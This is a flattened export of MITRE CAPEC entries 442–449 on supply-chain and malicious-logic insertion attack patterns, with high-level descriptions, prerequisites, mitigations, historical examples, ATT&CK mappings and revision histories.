+ #indModificationModification23384 + Modification_23384 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification23390 + Modification_23390 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Related_Weaknesses, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName23396 + Previous_Entry_Name_23396 + + + + + + + + + 2015-11-09 + + + + + Malicious Logic Inserted Into to Product + + + + + + + + + + + + #CAPEC-442 + Infected Software + + + + + + + + + 442 + + + + + Infected Software + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary adds malicious logic, often in the form of a computer virus, to otherwise benign software. This logic is often hidden from the user of the software and works behind the scenes to achieve negative impacts. Many times, the malicious logic is inserted into empty space between legitimate code, and is then called when the software is executed. This pattern of attack focuses on software already fielded and used in operation as opposed to software that is still under development and part of the supply chain.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern23404 + Related_Attack_Pattern_23404 + + + + + + + + + + + + + + 441 + + + + + 515 + + + + + 437 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the software currently deployed at a victim location. This access is often obtained by leveraging another attack pattern to gain permissions that the adversary wouldn't normally have.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence23413 + Consequence_23413 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage anti-virus products to detect and quarantine software with known virus.</xhtml:div> + + + + + 506 + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseSoftwareDependenciesAndDevelopmentTools + Supply Chain Compromise: Compromise Software Dependencies and Development Tools + + + + + + + + + + + + + + 1195.001 + + + + + Supply Chain Compromise: Compromise Software Dependencies and Development Tools + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseSoftwareSupplyChain + Supply Chain Compromise: Compromise Software Supply Chain + + + + + + + + + + + + + + 1195.002 + + + + + Supply Chain Compromise: Compromise Software Supply Chain + + + + + + + + + + + + #indReferenceReference23435 + Reference_23435 + + + + + + + + + REF-387 + + + + + + + + + + + + #indContentHistoryContentHistory23437 + Content_History_23437 + + + + + + + + + + + + + + + + #indSubmissionSubmission23438 + Submission_23438 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification23443 + Modification_23443 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Description Summary, Examples-Instances, References, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification23449 + Modification_23449 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Examples-Instances, References, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification23455 + Modification_23455 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification23461 + Modification_23461 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification23467 + Modification_23467 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification23473 + Modification_23473 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification23479 + Modification_23479 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName23485 + Previous_Entry_Name_23485 + + + + + + + + + 2015-11-09 + + + + + Malicious Logic Inserted Into Product Software + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName23486 + Previous_Entry_Name_23486 + + + + + + + + + 2018-07-31 + + + + + Malicious Logic Inserted Into To Product Software + + + + + + + + + + + + #CAPEC-443 + Malicious Logic Inserted Into Product by Authorized Developer + + + + + + + + + 443 + + + + + Malicious Logic Inserted Into Product by Authorized Developer + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses their privileged position within an authorized development organization to inject malicious logic into a codebase or product.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Supply chain attacks from approved or trusted developers are extremely difficult to detect as it is generally assumed the quality control and internal security measures of these organizations conform to best practices. In some cases the malicious logic is intentional, embedded by a disgruntled employee, programmer, or individual with an otherwise hidden agenda. In other cases, the integrity of the product is compromised by accident (e.g. by lapse in the internal security of the organization that results in a product becoming contaminated). In further cases, the developer embeds a backdoor into a product to serve some purpose, such as product support, but discovery of the backdoor results in its malicious use by adversaries. It is also worth noting that this attack can occur during initial product development or throughout a product's sustainment.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern23499 + Related_Attack_Pattern_23499 + + + + + + + + + + + + + + 444 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the product during the initial or continuous development.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence23505 + Consequence_23505 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assess software and hardware during development and prior to deployment to ensure that it functions as intended and without any malicious functionality. This includes both initial development, as well as updates propagated to the product after deployment.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In January 2022 the author of popular JavaScript packages "Faker" and "colors", used for generating mock data and including colored text within NodeJS consoles respectively, introduced malicious code that resulted in a Denial of Service (DoS) via an infinite loop. When applications that leveraged these packages updated to the malicious version, their applications executed the infinite loop and output gibberish ASCI characters endlessly. This resulted in the application being unusable until a stable version of the package was obtained. [REF-705]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">During initial development, an authorized hardware developer implants a malicious microcontroller within an Internet of Things (IOT) device and programs the microcontroller to communicate with the vulnerable device. Each time the device initializes, the malicious microcontroller's code is executed, which ultimately provides the adversary with backdoor access to the vulnerable device. This can further allow the adversary to sniff network traffic, exfiltrate date, execute unauthorized commands, and/or pivot to other vulnerable devices.</xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseSoftwareSupplyChain + Supply Chain Compromise: Compromise Software Supply Chain + + + + + + + + + + + + + + 1195.002 + + + + + Supply Chain Compromise: Compromise Software Supply Chain + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseHardwareSupplyChain + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + + + 1195.003 + + + + + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + #indReferenceReference23530 + Reference_23530 + + + + + + + + + REF-379 + + + + + + + + + + + + #indReferenceReference23531 + Reference_23531 + + + + + + + + + REF-704 + + + + + + + + + + + + #indReferenceReference23532 + Reference_23532 + + + + + + + + + REF-705 + + + + + + + + + + + + #indContentHistoryContentHistory23534 + Content_History_23534 + + + + + + + + + + + + + + + + #indSubmissionSubmission23535 + Submission_23535 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification23540 + Modification_23540 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification23546 + Modification_23546 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification23552 + Modification_23552 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification23558 + Modification_23558 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification23564 + Modification_23564 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Example_Instances, Mitigations, References + + + + + + + + + + + + #indModificationModification23570 + Modification_23570 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated @Name, Description, Example_Instances, Extended_Description, Mitigations, Prerequisites, Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName23576 + Previous_Entry_Name_23576 + + + + + + + + + 2022-09-29 + + + + + Malicious Logic Inserted Into Product Software by Authorized Developer + + + + + + + + + + + + #CAPEC-444 + Development Alteration + + + + + + + + + 444 + + + + + Development Alteration + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary modifies a technology, product, or component during its development to acheive a negative impact once the system is deployed. The goal of the adversary is to modify the system in such a way that the negative impact can be leveraged when the system is later deployed. Development alteration attacks may include attacks that insert malicious logic into the system's software, modify or replace hardware components, and other attacks which negatively impact the system during development. These attacks generally require insider access to modify source code or to tamper with hardware components. The product is then delivered to the user where the negative impact can be leveraged at a later time.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern23584 + Related_Attack_Pattern_23584 + + + + + + + + + + + + + + 438 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the system during the development phase to alter and/or modify software and hardware components. This access is often obtained via insider access or by leveraging another attack pattern to gain permissions that the adversary wouldn't normally have.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence23590 + Consequence_23590 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence23594 + Consequence_23594 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence23598 + Consequence_23598 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assess software and software components during development and prior to deployment to ensure that they function as intended and without any malicious functionality.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory23606 + Content_History_23606 + + + + + + + + + + + + + + + + #indSubmissionSubmission23607 + Submission_23607 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification23612 + Modification_23612 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Description Summary, References, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification23618 + Modification_23618 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName23624 + Previous_Entry_Name_23624 + + + + + + + + + 2015-11-09 + + + + + Malicious Logic Insertion into Product Software via Externally Manipulated Component + + + + + + + + + + + + #CAPEC-445 + Malicious Logic Insertion into Product Software via Configuration Management Manipulation + + + + + + + + + 445 + + + + + Malicious Logic Insertion into Product Software via Configuration Management Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary exploits a configuration management system so that malicious logic is inserted into a software products build, update or deployed environment. If an adversary can control the elements included in a product's configuration management for build they can potentially replace, modify or insert code files containing malicious logic. If an adversary can control elements of a product's ongoing operational configuration management baseline they can potentially force clients receiving updates from the system to install insecure software when receiving updates from the server.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Configuration management servers operate on the basis of a client pool, instructing each client on which software to install. In some cases the configuration management server will automate the software installation process. A malicious insider or an adversary who has compromised the server can alter the software baseline that clients must install, allowing the adversary to compromise a large number of satellite machines using the configuration management system. If an adversary can control elements of a product's configuration management for its deployed environment they can potentially alter fundamental security properties of the system based on assumptions that secure configurations are in place. It is also worth noting that this attack can occur during initial product development or throughout a product's sustainment.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern23640 + Related_Attack_Pattern_23640 + + + + + + + + + + + + + + 444 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the configuration management system during deployment or currently deployed at a victim location. This access is often obtained via insider access or by leveraging another attack pattern to gain permissions that the adversary wouldn't normally have.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence23648 + Consequence_23648 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assess software during development and prior to deployment to ensure that it functions as intended and without any malicious functionality.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage anti-virus products to detect and quarantine software with known virus.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In 2016, the policy-based configuration management system Chef was shown to be vulnerable to remote code execution attacks based on its Chef Manage add-on improperly deserializing user-driven cookie data. This allowed unauthenticated users the ability to craft cookie data that executed arbitrary code with the web server's privileges. [REF-706]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseSoftwareDependenciesAndDevelopmentTools + Supply Chain Compromise: Compromise Software Dependencies and Development Tools + + + + + + + + + + + + + + 1195.001 + + + + + Supply Chain Compromise: Compromise Software Dependencies and Development Tools + + + + + + + + + + + + #indReferenceReference23669 + Reference_23669 + + + + + + + + + REF-379 + + + + + + + + + + + + #indReferenceReference23670 + Reference_23670 + + + + + + + + + REF-706 + + + + + + + + + + + + #indContentHistoryContentHistory23672 + Content_History_23672 + + + + + + + + + + + + + + + + #indSubmissionSubmission23673 + Submission_23673 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification23678 + Modification_23678 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification23684 + Modification_23684 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification23690 + Modification_23690 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification23696 + Modification_23696 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Extended_Description, References + + + + + + + + + + + + #indModificationModification23702 + Modification_23702 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description, Extended_Description, Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-446 + Malicious Logic Insertion into Product via Inclusion of Third-Party Component + + + + + + + + + 446 + + + + + Malicious Logic Insertion into Product via Inclusion of Third-Party Component + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary conducts supply chain attacks by the inclusion of insecure third-party components into a technology, product, or code-base, possibly packaging a malicious driver or component along with the product before shipping it to the consumer or acquirer.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The result is a window of opportunity for exploiting the product until the insecure component is discovered. This supply chain threat can result in the installation of malicious software or hardware that introduces widespread security vulnerabilities within an organization. Additionally, because software often depends upon a large number of interdependent libraries and components to be present, security holes can be introduced merely by installing Commercial off the Shelf (COTS) or Open Source Software (OSS) software that comes pre-packaged with the components required for it to operate. It is also worth noting that this attack can occur during initial product development or throughout a product's sustainment.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern23723 + Related_Attack_Pattern_23723 + + + + + + + + + + + + + + 444 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the product during the initial or continuous development. This access is often obtained via insider access to include the third-party component after deployment.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence23729 + Consequence_23729 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assess software and hardware during development and prior to deployment to ensure that it functions as intended and without any malicious functionality. This includes both initial development, as well as updates propagated to the product after deployment.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Don't assume popular third-party components are free from malware or vulnerabilities. For software, assess for malicious functionality via update/commit reviews or automated static/dynamic analysis prior to including the component within the application and deploying in a production environment.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;From mid-2014 to early 2015, Lenovo computers were shipped with the Superfish Visual Search software that ultimately functioned as adware on the system. The Visual Search installation included a self-signed root HTTPS certificate that was able to intercept encrypted traffic for any site visited by the user. Of more concern was the fact that the certificate's corresponding private key was the same for every Lenovo machine. Once the private key was discovered [REF-709], an adversary could then conduct an Adversary-in-the-Middle (AitM) attack that would go undetected by machines that had this certificate installed on it. Adversaries could then masquerade as legitimate entities such as financial institutions, popular corporations, or other secure destinations on the Internet. [REF-708]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In 2018 it was discovered that Chinese spies infiltrated several U.S. government agencies and corporations as far back as 2015 by including a malicious microchip within the motherboard of servers sold by Elemental Technologies to the victims. Although these servers were assembled via a U.S. based company, the motherboards used within the servers were manufactured and maliciously altered via a Chinese subcontractor. Elemental Technologies then sold these malicious servers to various U.S. government agencies, such as the DoD and CIA, and corporations like Amazon and Apple. The malicious microchip provided adversaries with a backdoor into the system, which further allowed them to access any network that contained the exploited systems, to exfiltrate data to be sent to the Chinese government.[REF-713]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromise + Supply Chain Compromise + + + + + + + + + + + + + + 1195 + + + + + Supply Chain Compromise + + + + + + + + + + + + #indReferenceReference23753 + Reference_23753 + + + + + + + + + REF-379 + + + + + + + + + + + + #indReferenceReference23754 + Reference_23754 + + + + + + + + + REF-707 + + + + + + + + + + + + #indReferenceReference23755 + Reference_23755 + + + + + + + + + REF-708 + + + + + + + + + + + + #indReferenceReference23756 + Reference_23756 + + + + + + + + + REF-709 + + + + + + + + + + + + #indReferenceReference23757 + Reference_23757 + + + + + + + + + REF-713 + + + + + + + + + + + + #indContentHistoryContentHistory23759 + Content_History_23759 + + + + + + + + + + + + + + + + #indSubmissionSubmission23760 + Submission_23760 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification23765 + Modification_23765 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification23771 + Modification_23771 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification23777 + Modification_23777 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification23783 + Modification_23783 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Example_Instances, References + + + + + + + + + + + + #indModificationModification23789 + Modification_23789 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated @Name, Description, Example_Instances, Extended_Description, Mitigations, Prerequisites, References, Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName23795 + Previous_Entry_Name_23795 + + + + + + + + + 2022-09-29 + + + + + Malicious Logic Insertion into Product Software via Inclusion of 3rd Party Component Dependency + + + + + + + + + + + + #CAPEC-447 + Design Alteration + + + + + + + + + 447 + + + + + Design Alteration + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary modifies the design of a technology, product, or component to acheive a negative impact once the system is deployed. In this type of attack, the goal of the adversary is to modify the design of the system, prior to development starting, in such a way that the negative impact can be leveraged when the system is later deployed. Design alteration attacks differ from development alteration attacks in that design alteration attacks take place prior to development and which then may or may not be developed by the adverary. Design alteration attacks include modifying system designs to degrade system performance, cause unexpected states or errors, and general design changes that may lead to additional vulnerabilities. These attacks generally require insider access to modify design documents, but they may also be spoofed via web communications. The product is then developed and delivered to the user where the negative impact can be leveraged at a later time.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern23803 + Related_Attack_Pattern_23803 + + + + + + + + + + + + + + 438 + + + + + 513 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to system design documentation prior to the development phase. This access is often obtained via insider access or by leveraging another attack pattern to gain permissions that the adversary wouldn't normally have.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to forge web communications to deliver modified design documentation.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence23812 + Consequence_23812 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence23816 + Consequence_23816 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence23820 + Consequence_23820 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assess design documentation prior to development to ensure that they function as intended and without any malicious functionality.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that design documentation is saved in a secure location and has proper access controls set in place to avoid unnecessary modification.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory23829 + Content_History_23829 + + + + + + + + + + + + + + + + #indSubmissionSubmission23830 + Submission_23830 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification23835 + Modification_23835 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Description Summary, References, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification23841 + Modification_23841 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification23847 + Modification_23847 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification23853 + Modification_23853 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName23859 + Previous_Entry_Name_23859 + + + + + + + + + 2015-11-09 + + + + + Malicious Logic Insertion into Product Software during Update + + + + + + + + + + + + #CAPEC-448 + Embed Virus into DLL + + + + + + + + + 448 + + + + + Embed Virus into DLL + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary tampers with a DLL and embeds a computer virus into gaps between legitimate machine instructions. These gaps may be the result of compiler optimizations that pad memory blocks for performance gains. The embedded virus then attempts to infect any machine which interfaces with the product, and possibly steal private data or eavesdrop.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern23867 + Related_Attack_Pattern_23867 + + + + + + + + + + + + + + 442 + + + + + 515 + + + + + 437 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the software currently deployed at a victim location. This access is often obtained by leveraging another attack pattern to gain permissions that the adversary wouldn't normally have.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence23876 + Consequence_23876 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage anti-virus products to detect and quarantine software with known virus.</xhtml:div> + + + + + 506 + + + + + + + + + + + + #indTaxonomyMappingObfuscatedFilesOrInformationEmbeddedPayloads + Obfuscated Files or Information: Embedded Payloads + + + + + + + + + + + + + + 1027.009 + + + + + Obfuscated Files or Information: Embedded Payloads + + + + + + + + + + + + #indContentHistoryContentHistory23893 + Content_History_23893 + + + + + + + + + + + + + + + + #indSubmissionSubmission23894 + Submission_23894 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification23899 + Modification_23899 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, References, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification23905 + Modification_23905 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification23911 + Modification_23911 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification23917 + Modification_23917 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName23923 + Previous_Entry_Name_23923 + + + + + + + + + 2018-07-31 + + + + + Malware Infection into Product Software + + + + + + + + + + + + #CAPEC-449 + DEPRECATED: Malware Propagation via USB Stick + + + + + + + + + 449 + + + + + DEPRECATED: Malware Propagation via USB Stick + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is a duplicate of CAPEC-448 : Malware Infection into Product Software. Please refer to this other pattern going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory23930 + Content_History_23930 + + + + + + + + + + + + + + + + #indSubmissionSubmission23931 + Submission_23931 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification23936 + Modification_23936 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + 